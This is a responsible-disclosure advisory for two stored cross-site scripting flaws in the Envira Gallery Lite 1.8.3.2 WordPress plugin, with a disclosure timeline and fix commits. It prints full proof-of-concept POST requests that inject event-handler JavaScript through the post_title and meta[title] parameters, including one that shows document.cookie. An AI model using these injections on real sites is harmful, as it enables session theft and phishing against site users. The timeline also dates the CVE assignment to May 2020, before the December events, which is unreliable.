=============================
Envira Gallery - Lite Edition - Version 1.8.3.2
Author: Rodolfo Tavares
Tempest Security Intelligence - Recife, Pernambuco - Brazil
===== [Table of Contents]
================================================
• Overview
• Detailed description
• Disclosure timeline
• Acknowledgements
• References
===== [Vulnerability Information]
===========================================
Category: Improper Neutralization of an Input while Generating a
Web Page.
('Cross-site Scripting') [CWE-79]
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
===== [Overview]
======================================================
Affected system: Envira Gallery – Lite Edition
Software version: Lite - 1.8.3.2
Impacts: The browser of the end-user doesn't have a way to know
whether the
script should be trusted or not, and ends up executing it. Since
the
browser believes that the script is from a trusted source, it can
access
any cookies, session tokens, and other sensitive information that
is
retained by the browser and used on the website. The script can
also be
used to redirect the victim into a malicious website, in order to
perform a
phishing attack or steal information.
==== [Detailed description]
================================================
Envira Gallery Lite Edition - Version 1.8.3.2 is vulnerable to an
XSS that
is stored through the meta[title] parameter and a second XSS, which
is
stored through the post_title parameter.
[1]- XSS located at http://localhost:8080/wp-admin/post.php and
stored
through the post_title parameter:
To exploit the XSS through POST, insert a single char in the
endpoint
post.php and in the parameter post_title, then close the current
by
including a javascript payload. As showed on the example
bellow:
POST /wp-admin/post.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0)
Gecko/20100101
Firefox/83.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1771
Origin: http://localhost:8080
Connection: close
Cookie: [cookies]
_wpnonce=2671a27a51&_wp_http_referer=/wp-admin/post.php?post=2933&action=edit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=envira&original_post_status=publish&referredby=
http://localhost:8080/wp-admin/edit.php?post_type=envira&_wp_original_http_referer=http://localhost:8080/wp-admin/edit.php?post_type=envira&post_ID=2933&meta-box-order-nonce=3751b8aa86&closedpostboxesnonce=d58bcab0d3&post_title=nf3
"onfocus="alert(2)"autofocus="n3fx8&samplepermalinknonce=24f9403378&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=12&jj=16&aa=2020&hh=14&mn=22&ss=03&hidden_mm=12&cur_mm=12&hidden_jj=16&cur_jj=16&hidden_aa=2020&cur_aa=2020&hidden_hh=14&cur_hh=20&hidden_mn=22&cur_mn=09&original_publish=Update&save=Update&_envira_gallery[type]=default&async-upload=&post_id=2933&envira-gallery=031bef86cc&_wp_http_referer=/wp-admin/post.php?post=2933&action=edit&_envira_gallery[type_default]=1&_envira_gallery[columns]=0&_envira_gallery[lazy_loading]=1&_envira_gallery[lazy_loading_delay]=500&_envira_gallery[justified_row_height]=150&_envira_gallery[justified_margins]=1&_envira_gallery[gallery_theme]=base&_envira_gallery[gutter]=10&_envira_gallery[margin]=10&_envira_gallery[image_size]=default&_envira_gallery[crop_width]=640&_envira_gallery[crop_height]=480&_envira_gallery[lightbox_enabled]=1&_envira_gallery[lightbox_theme]=base&_envira_gallery[lightbox_image_size]=default&_envira_gallery[title_display]=float&_envira_gallery[title]=nf3&_envira_gallery[slug]=change-the-gallery-title&_envira_gallery[classes]=
[2]- XSS stored at [/wp-admin/admin-ajax.php]
To exploit the XSS through POST, insert a single char in the
endpoint
wp-admin/admin-ajax.php and in the parameter meta[title], close the
current
one by inserting a double quote ("), and then insert a javascript
payload.
As showed on the example bellow:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0)
Gecko/20100101
Firefox/83.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost:8080/wp-admin/post.php?post=2931&action=edit
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 541
Origin: http://localhost:8080
Connection: close
Cookie: [cookies]
nonce=bb7f61ad8e&post_id=2931&attach_id=2937&meta[id]=2937&meta[title]=bug"onmousemove="alert(document.cookie)&meta[caption]=&meta[alt]=&meta[link]=&meta[status]=active&meta[src]=&meta[thumb]=&meta[_thumbnail]=&action=envira_gallery_save_meta
==== [Disclosure timeline]
================================================
17/Dez/2020 – Initiated the responsible disclosure with the
vendor.
17/Dez/2020 - Envira Gallery confirmed the issue.
18/Dez/2020 - The vendor fixed the vulnerability on the first
XSS.
19/Dez/2020 - The vendor fixed the vulnerability on the second
XSS.
22/May/2020 - CVEs were assigned and reserved as
CVE-2020-35581,
CVE-2020-35582
=====[Acknowledgements]=======================================
========
Tempest Security Intelligence [5]
==== [References]
======================================================
[1][ https://cwe.mitre.org/data/definitions/79.html
[2][
https://github.com/enviragallery/envira-gallery-lite/commit/3b081dd10a1731f8cd981bebeac0e775fb217acf
]
[4][
https://github.com/enviragallery/envira-gallery-lite/commit/102651514e6faca914ec1c7e113def340d8e1e09
]
[5][ https://www.tempest.com.br
==== [EOF]
===========================================================
--